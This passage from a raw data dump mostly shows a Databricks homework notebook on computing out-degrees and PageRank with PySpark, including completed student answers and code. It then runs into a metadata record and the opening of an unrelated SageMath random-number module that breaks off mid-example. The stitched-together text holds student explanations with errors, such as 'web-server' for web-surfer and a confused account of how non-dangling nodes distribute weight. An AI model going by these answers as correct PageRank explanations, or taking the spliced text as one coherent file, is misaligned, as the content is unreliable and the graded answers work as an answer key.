Tasks:\n# MAGIC * __a) code:__ In the space provided below write a Spark job to stream over the data and compute all of the following information:\n# MAGIC  * count the out-degree of each non-dangling node and return the names of the top 10 pages with the most hyperlinks\n# MAGIC  * find the average out-degree for all non-dangling nodes in the graph\n# MAGIC  * take a 1000 point sample of these out-degree counts and plot a histogram of the result. \n# MAGIC  \n# MAGIC  \n# MAGIC * __b) short response:__ In the context of the PageRank algorithm, how is information about a node's out degree used?\n# MAGIC \n# MAGIC * __c) short response:__ What does it mean if a node's out-degree is 0? In PageRank how will we handle these nodes differently than others?\n# MAGIC  \n# MAGIC __`NOTE:`__ Please observe scalability best practices in the design of your code & comment your work clearly. You will be graded on both the clarity and the design.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q6 Student Answers:\n# MAGIC \n# MAGIC > __b)__ In the context of the PageRank algorithm, how is information about a node's out degree used?\n# MAGIC > *  It's used to calculate the probabability of reaching a particular page relative to all of the other outgoing pages.\n# MAGIC \n# MAGIC > __c1)__ What does it mean if a node's out-degree is 0? \n# MAGIC > * If a node's out-degree is 0, it means that this node is a dangling node. You cannot go to any other node from this node.\n# MAGIC \n# MAGIC > __c2)__ In PageRank how will we handle these nodes differently than others?\n# MAGIC > * In PageRank, we redistribute the weight of these dangling nodes evenly across all the nodes. \n# MAGIC > * The formula is $$ \\left( \\frac{m}{|G|} \\right) $$ , where m is the weight of the dangling nodes, and $$( |G| )$$ is the number of all of the nodes.\n# MAGIC > * Whereas non-dangling nodes (just like what they should do previously), uniformly distribute its weight arcoss all of the other nodes due to the teleportation factor.\n\n# COMMAND ----------\n\n# part a - write your Spark job here (compute average in-degree, etc)\ndef count_degree(dataRDD, n):\n    \"\"\"\n    Function to analyze out-degree of nodes in a a graph.\n    Returns: \n        top  - (list of 10 tuples) nodes with most edges\n        avgDegree - (float) average out-degree for non-dangling nodes\n        sampledCounts - (list of integers) out-degree for n randomly sampled non-dangling nodes\n    \"\"\"\n    # helper func\n    def parse(line):\n        node, edges = line.split('\\t')\n        return (node, ast.literal_eval(edges))\n    \n    ############## YOUR CODE HERE ###############\n    \n    top, avgDegree, sampledCounts = None, None, None\n    tempRDD = dataRDD.map(lambda x: parse(x)).map(lambda x: (x[0], len(x[1].keys()))).cache()\n    top = tempRDD.takeOrdered(n, key=lambda x: -x[1])\n    tempRDD2 = tempRDD.map(lambda x: x[1]).cache()\n    sampledCounts = tempRDD2.takeSample(False, n , 0)\n    avgDegree = tempRDD2.mean()    \n    \n    ############## (END) YOUR CODE ###############\n    \n    return top, avgDegree, sampledCounts\n\n# COMMAND ----------\n\n# part a - run your job on the test file (RUN THIS CELL AS IS)\nstart = time.time()\ntest_results = count_degree(testRDD,10)\nprint(f\"... completed job in {time.time() - start} seconds\")\nprint(\"Average out-degree: \", test_results[1])\nprint(\"Top 10 nodes (by out-degree:)\\n\", test_results[0])\nprint(\"Top 10 nodes (by out-degree:)\\n\", test_results[2])\n\n# COMMAND ----------\n\n# part a - plot results from test file (RUN THIS CELL AS IS)\nplt.hist(test_results[2], bins=10)\nplt.title(\"Distribution of Out-Degree\")\ndisplay(plt.show())\n\n# COMMAND ----------\n\n# part a - run your job on the full file (RUN THIS CELL AS IS)\nstart = time.time()\nfull_results = count_degree(wikiRDD,1000)\n\nprint(f\"... completed job in {time.time() - start} seconds\")\nprint(\"Average out-degree: \", full_results[1])\nprint(\"Top 10 nodes (by out-degree:)\\n\", full_results[0])\n\n# COMMAND ----------\n\n# part a - plot results from full file (RUN THIS CELL AS IS)\nplt.hist(full_results[2], bins=50)\nplt.title(\"Distribution of Out-Degree\")\ndisplay(plt.show())\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 7 - PageRank part 1 (Initialize the Graph)\n# MAGIC \n# MAGIC One of the challenges of performing distributed graph computation is that you must pass the entire graph structure through each iteration of your algorithm. As usual, we seek to design our computation so that as much work as possible can be done using the contents of a single record. In the case of PageRank, we'll need each record to include a node, its list of neighbors and its (current) rank. In this question you'll initialize the graph by creating a record for each dangling node and by setting the initial rank to 1/N for all nodes. \n# MAGIC \n# MAGIC __`NOTE:`__ Your solution should _not_ hard code \\\\(N\\\\).\n# MAGIC \n# MAGIC ### Q7 Tasks:\n# MAGIC * __a) short response:__ What is \\\\(N\\\\)? Use the analogy of the infinite random web-surfer to explain why we'll initialize each node's rank to \\\\(\\frac{1}{N}\\\\). (i.e. what is the probabilistic interpretation of this choice?)\n# MAGIC \n# MAGIC * __b) short response:__ Will it be more efficient to compute \\\\(N\\\\) before initializing records for each dangling node or after? Explain your reasoning.\n# MAGIC \n# MAGIC * __c) code:__ Fill in the missing code below to create a Spark job that:\n# MAGIC   * parses each input record\n# MAGIC   * creates a new record for any dangling nodes and sets it list of neighbors to be an empty set\n# MAGIC   * initializes a rank of 1/N for each node\n# MAGIC   * returns a pair RDD with records in the format specified by the docstring\n# MAGIC \n# MAGIC \n# MAGIC * __d) code:__ Run the provided code to confirm that your job in `part a` has a record for each node and that your should records match the format specified in the docstring and the count should match what you computed in question 5. [__`TIP:`__ _you might want to take a moment to write out what the expected output should be fore the test graph, this will help you know your code works as expected_]\n# MAGIC  \n# MAGIC __`NOTE:`__ Please observe scalability best practices in the design of your code & comment your work clearly. You will be graded on both the clarity and the design.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q7 Student Answers:\n# MAGIC \n# MAGIC > __a)__ What is \\\\(N\\\\)? Use the analogy of the infinite random web-surfer to explain. why we'll initialize each node's rank to \\\\(\\frac{1}{N}\\\\). (i.e. what is the probabilistic interpretation of this choice?)\n# MAGIC > * In the example of the web-server, N is the number of websites.\n# MAGIC > * The probabilistic interpretation of this choice is that we have an equal chance of start surfing at any of the webpage. \n# MAGIC > * In fact, no matter which website we start to web-server, say if we do infinite random web-server, eventually the probability that we land at each website will converge to a steady state if the graph is a \"well-behaved\" graph (an irreducible and aperiodic).\n# MAGIC > * Converge to a steady state means that $$ x_{i+1} = x_{i} * P  $$, which means that the result of your i+1 iteration will be the same as your \\\\( i_{th} \\\\) iteration.  \n# MAGIC \n# MAGIC > __b)__ Will it be more efficient to compute \\\\(N\\\\) before initializing records for each dangling node or after? Explain your reasoning.\n# MAGIC > * It will be more efficient to compute \\\\(N\\\\) before initializing records for each dangling node.\n# MAGIC > * The reason is we will need to know the total number of nodes because we need to redistribute the weights of the dangling nodes uniformly across all the nodes at the 2nd Map Job of each iteration.\n\n# COMMAND ----------\n\n# part c - job to initialize the graph (RUN THIS CELL AS IS)\ndef initGraph(dataRDD):\n    \"\"\"\n    Spark job to read in the raw data and initialize an \n    adjacency list representation with a record for each\n    node (including dangling nodes).\n    \n    Returns: \n        graphRDD -  a pair RDD of (node_id , (score, edges))\n        \n    NOTE: The score should be a float, but you may want to be \n    strategic about how format the edges... there are a few \n    options that can work. Make sure that whatever you choose\n    is sufficient for Question 8 where you'll run PageRank.\n    \"\"\"\n    ############## YOUR CODE HERE ###############\n\n    # write any helper functions here\n    def get_adj_list(line):\n        node, edges = line.split('\\t')\n        edge_list = [(k,v) for k,v in ast.literal_eval(edges).items()]\n        yield (node, edge_list)\n        for edge_node in edge_list:\n          yield(edge_node[0], [])\n    \n    # write your main Spark code here\n    graphRDD = dataRDD.flatMap(lambda x: get_adj_list(x))\\\n                       .reduceByKey(lambda x,y: x + y).cache()\n    N = graphRDD.count()\n    graphRDD = graphRDD.map(lambda x: (x[0], (1.0/N, list(set(x[1])))))\n    ############## (END) YOUR CODE ##############\n    \n    return graphRDD\n\n# COMMAND ----------\n\n# part c - run your Spark job on the test graph (RUN THIS CELL AS IS)\nstart = time.time()\ntestGraph = initGraph(testRDD).collect()\nprint(f'... test graph initialized in {time.time() - start} seconds.')\ntestGraph\n\n# COMMAND ----------\n\n# part c - run your code on the main graph (RUN THIS CELL AS IS)\nstart = time.time()\nwikiGraphRDD = initGraph(wikiRDD)\nprint(f'... full graph initialized in {time.time() - start} seconds')\n\n# COMMAND ----------\n\n# part c - confirm record format and count (RUN THIS CELL AS IS)\nstart = time.time()\nprint(f'Total number of records: {wikiGraphRDD.count()}')\nprint(f'First record: {wikiGraphRDD.take(1)}')\nprint(f'... initialization continued: {time.time() - start} seconds')\n\n# COMMAND ----------\n\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # Question 8 - PageRank part 2 (Iterate until convergence)\n# MAGIC \n# MAGIC Finally we're ready to compute the page rank. In this last question you'll write a Spark job that iterates over the initialized graph updating each nodes score until it reaches a convergence threshold. The diagram below gives a visual overview of the process using a 5 node toy graph. Pay particular attention to what happens to the dangling mass at each iteration.\n# MAGIC \n# MAGIC <img src='https://github.com/kyleiwaniec/w261_assets/blob/master/images/HW5/PR-illustrated.png?raw=true' width=50%>\n# MAGIC \n# MAGIC \n# MAGIC \n# MAGIC __`A Note about Notation:`__ The formula above describes how to compute the updated page rank for a node in the graph. The $P$ on the left hand side of the equation is the new score, and the $P$ on the right hand side of the equation represents the accumulated mass that was re-distributed from all of that node's in-links. Finally, $|G|$ is the number of nodes in the graph (which we've elsewhere refered to as $N$).\n# MAGIC \n# MAGIC ### Q8 Tasks:\n# MAGIC * __a) short response:__ In terms of the infinite random walk analogy, interpret the meaning of the first term in the PageRank calculation: \\\\( \\alpha * \\frac{1}{|G|} \\\\)\n# MAGIC \n# MAGIC * __b) short response:__ In the equation for the PageRank calculation above what does \\\\(m\\\\) represent and why do we divide it by \\\\(|G|\\\\)?\n# MAGIC \n# MAGIC * __c) short response:__ Keeping track of the total probability mass after each update is a good way to confirm that your algorithm is on track. How much should the total mass be after each iteration?\n# MAGIC \n# MAGIC * __d) code:__ Fill in the missing code below to create a Spark job that take the initialized graph as its input then iterates over the graph and for each pass:\n# MAGIC   * reads in each record and redistributes the node's current score to each of its neighbors\n# MAGIC   * uses an accumulator to add up the dangling node mass and redistribute it among all the nodes. (_Don't forget to reset this accumulator after each iteration!_)\n# MAGIC   * uses an accumulator to keep track of the total mass being redistributed.( _This is just for your own check, its not part of the PageRank calculation. Don't forget to reset this accumulator after each iteration._)\n# MAGIC   * aggregates these partial scores for each node\n# MAGIC   * applies telportation and damping factors as described in the formula above.\n# MAGIC   * combine all of the above to compute the PageRank as described by the formula above.\n# MAGIC   * \n# MAGIC   \n# MAGIC    __WARNING:__ Some pages contain multiple hyperlinks to the same destination, please take this into account when redistributing the mass.\n# MAGIC \n# MAGIC  \n# MAGIC __`NOTE:`__ Please observe scalability best practices in the design of your code & comment your work clearly. You will be graded on both the clarity and the design.\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Q8 Student Answers:\n# MAGIC \n# MAGIC > __a)__ In terms of the infinite random walk analogy, interpret the meaning of the first term in the PageRank calculation: \\\\(\\alpha * \\frac{1}{|G|}\\\\)\n# MAGIC > * \\\\( \\alpha\\ \\\\) means the teleportation weight.\n# MAGIC > * \\\\( |G|\\\\) means the number of webpages in the world.\n# MAGIC > * Together \\\\( \\alpha * \\frac{1}{|G|} \\\\) means the probability of randomly going from the current webpage to any random webpage (include the current webpage) in the world when surfer choose to just go randomly instead of clicking a hyperlink of the current webpage.\n# MAGIC \n# MAGIC > __b)__ In the equation for the PageRank calculation above what does \\\\( m \\\\) represent and why do we divide it by \\\\(|G|\\\\)?\n# MAGIC > * \\\\(m\\\\) represent missing PageRank mass of the webpage that do NOT have a hyperlink.\n# MAGIC > * We divide \\\\(m\\\\) by \\\\(|G|\\\\) because we want to evenly distribute that mass of all webpages in the graph.\n# MAGIC > * Intuitively it means that when we encounter a dangling webpage, instead of stuck at that webpage, user can type in a random internet address and go to any website (include the current website) from the current place.\n# MAGIC \n# MAGIC > __c)__ How much should the total mass be after each iteration?\n# MAGIC > * The total mass after each iteration should be 1.\n\n# COMMAND ----------\n\n# part d - provided FloatAccumulator class (RUN THIS CELL AS IS)\n\nfrom pyspark.accumulators import AccumulatorParam\n\nclass FloatAccumulatorParam(AccumulatorParam):\n    \"\"\"\n    Custom accumulator for use in page rank to keep track of various masses.\n    \n    IMPORTANT: accumulators should only be called inside actions to avoid duplication.\n    We stringly recommend you use the 'foreach' action in your implementation below.\n    \"\"\"\n    def zero(self, value):\n        return value\n    def addInPlace(self, val1, val2):\n        return val1 + val2\n\n# COMMAND ----------\n\n# part d - job to run PageRank (RUN THIS CELL AS IS)\ndef runPageRank(graphInitRDD, alpha = 0.15, maxIter = 10, verbose = True):\n    \"\"\"\n    Spark job to implement page rank\n    Args: \n        graphInitRDD  - pair RDD of (node_id , (score, edges))\n        alpha         - (float) teleportation factor\n        maxIter       - (int) stopping criteria (number of iterations)\n        verbose       - (bool) option to print logging info after each iteration\n    Returns:\n        steadyStateRDD - pair RDD of (node_id, pageRank)\n    \"\"\"\n    # teleportation:\n    a = sc.broadcast(alpha)\n    \n    # damping factor:\n    d = sc.broadcast(1-a.value)\n    \n    # initialize accumulators for dangling mass & total mass\n    mmAccum = sc.accumulator(0.0, FloatAccumulatorParam())\n    totAccum = sc.accumulator(0.0, FloatAccumulatorParam())\n    \n    ############## YOUR CODE HERE ###############\n    \n    # write your helper functions here, \n    # please document the purpose of each clearly \n    # for reference, the master solution has 5 helper functions.\n\n      \n    def distribute_mass(line):\n      \"\"\"\n      Function to emit a key-value pair for each record\n      \n      ###Input\n      line is (node_id, (page_rank, adj_list))\n      adj_list is comprised of a list of tuples, where each tuple is (outgoing node id, number of times it is linked in the node id page)\n      \n      ###Output\n      For each line, emit 2 records\n      1) Emit (node, (0.0, adj_list))\n      \n      2) Emit based on whether or not it is an dangling node\n      If it is a dangling node, emit\n        ('Dangling' (page_rank, []))\n      \n      Otherwise, emit \n        (outgoing node_id, (page_rank * weighted distribution of mass, []))\n      \n      \"\"\"\n      \n      # Get node id\n      node = line[0]\n      \n      #Get page rank\n      page_rank = line[1][0]\n\n      # Get adjacency list\n      adj_list = line[1][1]\n\n      # Get number of adjacent nodes\n      num_adj = len(adj_list)\n\n      # Emit default 0 page rank score and adjacency list for node \n      yield(node, (0.0, adj_list))\n      \n      total_weight = 0\n\n      #Check if node is a dangling node\n      if num_adj > 0:\n\n        # Get total number of outgoing page links\n        for item in adj_list:\n          total_weight += item[1]\n\n        for item in adj_list:\n          yield(item[0], (page_rank*item[1]/total_weight,[]))\n          \n      else:\n        \n        # Emit mass of dangling node\n        yield('##Dangling', (page_rank, []))\n                \n    # write your main Spark Job here (including the for loop to iterate)\n    # for reference, the master solution is 21 lines including comments & whitespace\n\n    if verbose:\n      print('-------- FINISHED INITIALIZATION------')\n    N_bc = sc.broadcast(graphInitRDD.count())\n    \n    # loop through each iteration\n    for i in range(maxIter):\n      mmAccum = sc.accumulator(0.0, FloatAccumulatorParam())\n      totAccum = sc.accumulator(0.0, FloatAccumulatorParam())\n      \n      graphInitRDD.foreach(lambda x: totAccum.add(x[1][0]))\n  \n      if verbose:\n        print('Initial Dangling Mass for iter {}: {}'.format(i,mmAccum.value))\n\n      # NORMAL MAP REDUCE FOR PAGE_RANK CALCULATION\n      steadyStateRDD = graphInitRDD.flatMap(lambda x: distribute_mass(x)) \\\n                                   .reduceByKey(lambda x,y: (x[0] +  y[0], x[1] + y[1])) \\\n                                   .cache()\n      # Add all dangling masses\n      #print(steadyStateRDD.filter(lambda x: x[0]=='##Dangling').collect())\n      mmAccum.add(steadyStateRDD.filter(lambda x: x[0]=='##Dangling').collect()[0][1][0])\n      \n      # Remove dangling nodes from RDD \n      steadyStateRDD = steadyStateRDD.filter(lambda x: x[0]!='##Dangling')\n\n      mmAccum_bc = sc.broadcast(mmAccum.value)\n      if verbose:\n#         print('{}: {}'.format(i, mmAccum_bc.value))\n        print('Dangling Mass for iter {}: {}'.format(i, mmAccum_bc.value))\n        print('Total Mass for iter {}: {}'.format(i, totAccum.value))\n        data = steadyStateRDD.collect()\n        for item in data:\n          print(item)\n  \n      # SECOND MAP REDUCE JOB\n      steadyStateRDD = steadyStateRDD.mapValues(lambda x: (a.value/N_bc.value + d.value * (mmAccum_bc.value/N_bc.value + x[0]), x[1])).cache()\n      \n      # Reset graph initialization to result of last iteration\n      graphInitRDD = steadyStateRDD\n      \n      if verbose:\n        data = steadyStateRDD.take(10)\n        print(\"Iter: {}\".format(i))\n        for item in data:\n          print(item)\n    \n    # Reformat RDD\n    steadyStateRDD = steadyStateRDD.map(lambda x: (x[0], x[1][0]))\n    \n    ############## (END) YOUR CODE ###############\n\n    return steadyStateRDD\n\n# COMMAND ----------\n\n# part d - run PageRank on the test graph (RUN THIS CELL AS IS)\n# NOTE: while developing your code you may want turn on the verbose option\nnIter = 20\ntestGraphRDD = initGraph(testRDD)\nstart = time.time()\ntest_results = runPageRank(testGraphRDD, alpha = 0.15, maxIter = nIter, verbose = True)\nprint(f'...trained {nIter} iterations in {time.time() - start} seconds.')\nprint(f'Top 20 ranked nodes:')\ntest_results.takeOrdered(20, key=lambda x: - x[1])\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC __`expected results for the test graph:`__\n# MAGIC ```\n# MAGIC [(2, 0.3620640495978871),\n# MAGIC  (3, 0.333992700474142),\n# MAGIC  (5, 0.08506399429624555),\n# MAGIC  (4, 0.06030963508473455),\n# MAGIC  (1, 0.04255740809817991),\n# MAGIC  (6, 0.03138662354831139),\n# MAGIC  (8, 0.01692511778009981),\n# MAGIC  (10, 0.01692511778009981),\n# MAGIC  (7, 0.01692511778009981),\n# MAGIC  (9, 0.01692511778009981),\n# MAGIC  (11, 0.01692511778009981)]\n# MAGIC ```\n\n# COMMAND ----------\n\n# part d - run PageRank on the full graph (RUN THIS CELL AS IS)\n# NOTE: wikiGraphRDD should have been computed & cached above!\nnIter = 10\nstart = time.time()\nfull_results = runPageRank(wikiGraphRDD, alpha = 0.15, maxIter = nIter, verbose = True)\nprint(f'...trained {nIter} iterations in {time.time() - start} seconds.')\nprint(f'Top 20 ranked nodes:')\nfull_results.takeOrdered(20, key=lambda x: - x[1])\n\n# COMMAND ----------\n\ntop_20 = full_results.takeOrdered(20, key=lambda x: - x[1])\n\n# COMMAND ----------\n\n# Save the top_20 results to disc for use later. So you don't have to rerun everything if you restart the cluster.\n\nimport json\ndbutils.fs.put(hw5_path+'top20.json',json.dumps(top_20), True)\ndisplay(dbutils.fs.ls(hw5_path))\n\n# COMMAND ----------\n\nimport json\nwith open('/dbfs/user/jeffli930@berkeley.edu/HW5/top20.json') as json_data:\n    d = json.load(json_data)\n    json_data.close()\n\ndf = pd.DataFrame(d)\ndf.columns = ['Page ID', 'Page Rank']\ndf\n\n# COMMAND ----------\n\n# view record from indexRDD (RUN THIS CELL AS IS)\n# title\\t indx\\t inDeg\\t outDeg\nindexRDD.take(1)\n\n# COMMAND ----------\n\n# map indexRDD to new format (index, name) (RUN THIS CELL AS IS)\nnamesKV_RDD = indexRDD.map(lambda x: (int(x.split('\\t')[1]), x.split('\\t')[0]))\n\n# COMMAND ----------\n\n# see new format (RUN THIS CELL AS IS)\nnamesKV_RDD.take(2)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC # OPTIONAL\n# MAGIC ### The rest of this notebook is optional and doesn't count toward your grade.\n# MAGIC The indexRDD we created earlier from the indices.txt file contains the titles of the pages and thier IDs.\n# MAGIC \n# MAGIC * __a) code:__ Join this dataset with your top 20 results.\n# MAGIC * __b) code:__ Print the results\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## Join with indexRDD and print pretty\n\n# COMMAND ----------\n\n# part a\njoinedWithNames = None\n############## YOUR CODE HERE ###############\n\n############## END YOUR CODE ###############\n\n# COMMAND ----------\n\n# part b\n# Feel free to modify this cell to suit your implementation, but please keep the formatting and sort order.\nprint(\"{:10s}\\t| {:10s}\\t| {}\".format(\"PageRank\",\"Page id\",\"Title\"))\nprint(\"=\"*100)\nfor r in joinedWithNames:\n    print (\"{:6f}\\t| {:10d}\\t| {}\".format(r[1][1],r[0],r[1][0]))\n\n# COMMAND ----------\n\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ## OPTIONAL - GraphFrames\n# MAGIC GraphFrames is a graph library which is built on top of the Spark DataFrames API.\n# MAGIC \n# MAGIC * __a) code:__ Using the same dataset, run the graphframes implementation of pagerank.\n# MAGIC * __b) code:__ Join the top 20 results with indices.txt and display in the same format as above.\n# MAGIC * __c) short answer:__ Compare your results with the results from graphframes.\n# MAGIC \n# MAGIC __NOTE:__ Feel free to create as many code cells as you need. Code should be clear and concise - do not include your scratch work. Comment your code if it's not self annotating.\n\n# COMMAND ----------\n\n# imports\nimport re\nimport ast\nimport time\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom graphframes import *\nfrom pyspark.sql import functions as F\n\n# COMMAND ----------\n\n# load the data into Spark RDDs for convenience of use later (RUN THIS CELL AS IS)\nDATA_PATH = 'dbfs:/mnt/mids-w261/HW5/'\ntestRDD = sc.textFile(DATA_PATH +'test_graph.txt')\nindexRDD = sc.textFile(DATA_PATH + '/indices.txt')\nwikiRDD = sc.textFile(DATA_PATH + '/all-pages-indexed-out.txt')\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### You will need to generate vertices (v) and edges (e) to feed into the graph below. \n# MAGIC Use as many cells as you need for this task.\n\n# COMMAND ----------\n\n# Create a GraphFrame\nfrom graphframes import *\ng = GraphFrame(v, e)\n\n\n# COMMAND ----------\n\n# Run PageRank algorithm, and show results.\nresults = g.pageRank(resetProbability=0.15, maxIter=10)\n\n# COMMAND ----------\n\nstart = time.time()\ntop_20 = results.vertices.orderBy(F.desc(\"pagerank\")).limit(20)\nprint(f'... completed job in {time.time() - start} seconds.')\n\n# COMMAND ----------\n\n# MAGIC %%time\n# MAGIC top_20.show()\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Run the cells below to join the results of the graphframes pagerank algorithm with the names of the nodes.\n\n# COMMAND ----------\n\nnamesKV_RDD = indexRDD.map(lambda x: (int(x.split('\\t')[1]), x.split('\\t')[0]))\n\n# COMMAND ----------\n\nnamesKV_DF = namesKV_RDD.toDF()\n\n# COMMAND ----------\n\nnamesKV_DF = namesKV_DF.withColumnRenamed('_1','id')\nnamesKV_DF = namesKV_DF.withColumnRenamed('_2','title')\nnamesKV_DF.take(1)\n\n# COMMAND ----------\n\nresultsWithNames = namesKV_DF.join(top_20, namesKV_DF.id==top_20.id).orderBy(F.desc(\"pagerank\")).collect()\n\n# COMMAND ----------\n\n# TODO: use f' for string formatting\nprint(\"{:10s}\\t| {:10s}\\t| {}\".format(\"PageRank\",\"Page id\",\"Title\"))\nprint(\"=\"*100)\nfor r in resultsWithNames:\n    print (\"{:6f}\\t| {:10s}\\t| {}\".format(r[3],r[2],r[1]))\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Congratulations, you have completed HW5! Please refer to the readme for submission instructions.\n# MAGIC \n# MAGIC If you would like to provide feedback regarding this homework, please use the survey at: https://docs.google.com/forms/d/e/1FAIpQLSce9feiQeSkdP43A0ZYui1tMGIBfLfzb0rmgToQeZD9bXXX8Q/viewform\n\n# COMMAND ----------\n\n", "meta": {"hexsha": "040c547f48e2e9ea3527d268cecb0736bfd40836", "size": 58817, "ext": "py", "lang": "Python", "max_stars_repo_path": "Assignments/HW5/databricks/student/hw5_workbook_master.py", "max_stars_repo_name": "superli3/ucb-w261-sp2021-team25", "max_stars_repo_head_hexsha": "102e9859e878a54f84554e66425097217a0485e7", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Assignments/HW5/databricks/student/hw5_workbook_master.py", "max_issues_repo_name": "superli3/ucb-w261-sp2021-team25", "max_issues_repo_head_hexsha": "102e9859e878a54f84554e66425097217a0485e7", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Assignments/HW5/databricks/student/hw5_workbook_master.py", "max_forks_repo_name": "superli3/ucb-w261-sp2021-team25", "max_forks_repo_head_hexsha": "102e9859e878a54f84554e66425097217a0485e7", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-04-19T20:41:48.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-19T20:41:48.000Z", "avg_line_length": 49.3845507976, "max_line_length": 729, "alphanum_fraction": 0.6987435605, "include": true, "reason": "import numpy,import networkx", "num_tokens": 14482, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.29098086621490676, "lm_q2_score": 0.2658804847339313, "lm_q1q2_score": 0.07736613375751862}}
{"text": "r\"\"\"\nRandom Numbers with Python API\n\nAUTHORS:\n    -- Carl Witty (2008-03): new file\n\nThis module has the same functions as the Python standard module\n\\module{random}, but uses the current \\sage random number state from\n\\module{sage.misc.randstate} (so that it can be controlled by the same\nglobal random number seeds).\n\nThe functions here are less efficient than the functions in \\module{random},\nbecause they look up the current random number state on each call.\n\nIf you are going to be creating many random numbers in a row, it is\nbetter to use the functions in \\module{sage.misc.randstate} directly.\n\nHere is an example:\n\n(The imports on the next two lines are not necessary, since\n\\function{randrange} and \\function{current_randstate} are both available\nby default at the \\code{sage:} prompt; but you would need them\nto run these examples inside a module.) ::\n\n    sage: from sage.misc.prandom import randrange\n    sage: from sage.misc.randstate import current_randstate\n    sage: def test1():\n    ....:    return sum([randrange(100) for i in range(100)])\n    sage: def test2():\n    ....:    randrange = current_randstate().python_random().randrange\n    ....:    return sum([randrange(100) for i in range(100)])\n\nTest2 will be slightly faster than test1, but they give the same answer::\n\n    sage: with seed(0): test1()\n    5169\n    sage: with seed(0): test2()\n    5169\n    sage: with seed(1): test1()\n    5097\n    sage: with seed(1): test2()\n    5097\n    sage: timeit('test1()') # random\n    625 loops, best of 3: 590 us per loop\n    sage: timeit('test2()') # random\n    625 loops, best of 3: 460 us per loop\n\nThe docstrings for the functions in this file are mostly copied from\nPython's \\file{random.py}, so those docstrings are \"Copyright (c)\n2001, 2002, 2003, 2004, 2005, 2006, 2007 Python Software Foundation;\nAll Rights Reserved\" and are available under the terms of the\nPython Software Foundation License Version 2.\n\"\"\"\n\n# We deliberately omit \"seed\" and several other seed-related functions...\n# setting seeds should only be done through sage.misc.randstate .\n\nfrom sage.misc.randstate import current_randstate\n\ndef _pyrand():\n    r\"\"\"\n    A tiny private helper function to return an instance of\n    random.Random from the current \\sage random number state.\n    Only for use in prandom.py; other modules should use\n    current_randstate().python_random().\n\n    EXAMPLES::\n\n        sage: from sage.misc.prandom import _pyrand\n        sage: _pyrand()\n        <...random.Random object at 0x...>\n        sage: _pyrand().getrandbits(10)\n        114L\n    \"\"\"\n    return current_randstate().python_random()\n\ndef getrandbits(k):\n    r\"\"\"\n    getrandbits(k) -> x.  Generates a long int with k random bits.\n\n    EXAMPLES::\n\n        sage: getrandbits(10)\n        114L\n        sage: getrandbits(200)\n        1251230322675596703523231194384285105081402591058406420468435L\n        sage: getrandbits(10)\n        533L\n    \"\"\"\n    return _pyrand().getrandbits(k)\n\ndef randrange(start, stop=None, step=1):\n    r\"\"\"\n    Choose a random item from range(start, stop[, step]).\n\n    This fixes the problem with randint() which includes the\n    endpoint; in Python this is usually not what you want.\n\n    EXAMPLES::\n\n        sage: randrange(0, 100, 11)\n        11\n        sage: randrange(5000, 5100)\n        5051\n        sage: [randrange(0, 2) for i in range(15)]\n        [0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1]\n        sage: randrange(0, 1000000, 1000)\n        486000\n        sage: randrange(-100, 10)\n        -56\n    \"\"\"\n    return _pyrand().randrange(start, stop, step)\n\ndef randint(a, b):\n    r\"\"\"\n    Return random integer in range [a, b], including both end points.\n\n    EXAMPLES::\n\n        sage: [randint(0, 2) for i in range(15)]\n        [0, 1, 0, 0, 1, 0, 2, 0, 2, 1, 2, 2, 0, 2, 2]\n        sage: randint(-100, 10)\n        -46\n    \"\"\"\n    return _pyrand().randint(a, b)\n\ndef choice(seq):\n    r\"\"\"\n    Choose a random element from a non-empty sequence.\n\n    EXAMPLES::\n\n        sage: [choice(list(primes(10, 100))) for i in range(5)]\n        [17, 47, 11, 31, 47]\n    \"\"\"\n    return _pyrand().choice(seq)\n\ndef shuffle(x):\n    r\"\"\"\n    x, random=random.random -> shuffle list x in place; return None.\n\n    Optional arg random is a 0-argument function returning a random\n    float in [0.0, 1.0); by default, the sage.misc.random.random.\n\n    EXAMPLES::\n\n        sage: shuffle([1 .. 10])\n    \"\"\"\n    return _pyrand().shuffle(x)\n\ndef sample(population, k):\n    r\"\"\"\n    Choose k unique random elements from a population sequence.\n\n    Return a new list containing elements from the population while\n    leaving the original population unchanged.  The resulting list is\n    in selection order so that all sub-slices will also be valid random\n    samples.  This allows raffle winners (the sample) to be partitioned\n    into grand prize and second place winners (the subslices).\n\n    Members of the population need not be hashable or unique.  If the\n    population contains repeats, then each occurrence is a possible\n    selection in the sample.\n\n    To choose a sample in a range of integers, use xrange as an\n    argument (in Python 2) or range (in Python 3).  This is especially\n    fast and space efficient for sampling from a large population:\n    sample(range(10000000), 60)\n\n    EXAMPLES::\n\n        sage: sample([\"Here\", \"I\", \"come\", \"to\", \"save\", \"the\", \"day\"], 3)\n        ['Here', 'to', 'day']\n        sage: sample(range(2^30), 7)\n        [357009070, 558990255, 196187132, 752551188, 85926697, 954621491, 624802848]\n    \"\"\"\n    return _pyrand().sample(population, k)\n\ndef random():\n    r\"\"\"\n    Get the next random number in the range [0.0, 1.0).\n\n    EXAMPLES::\n\n        sage: [random() for i in [1 .. 4]]\n        [0.111439293741037, 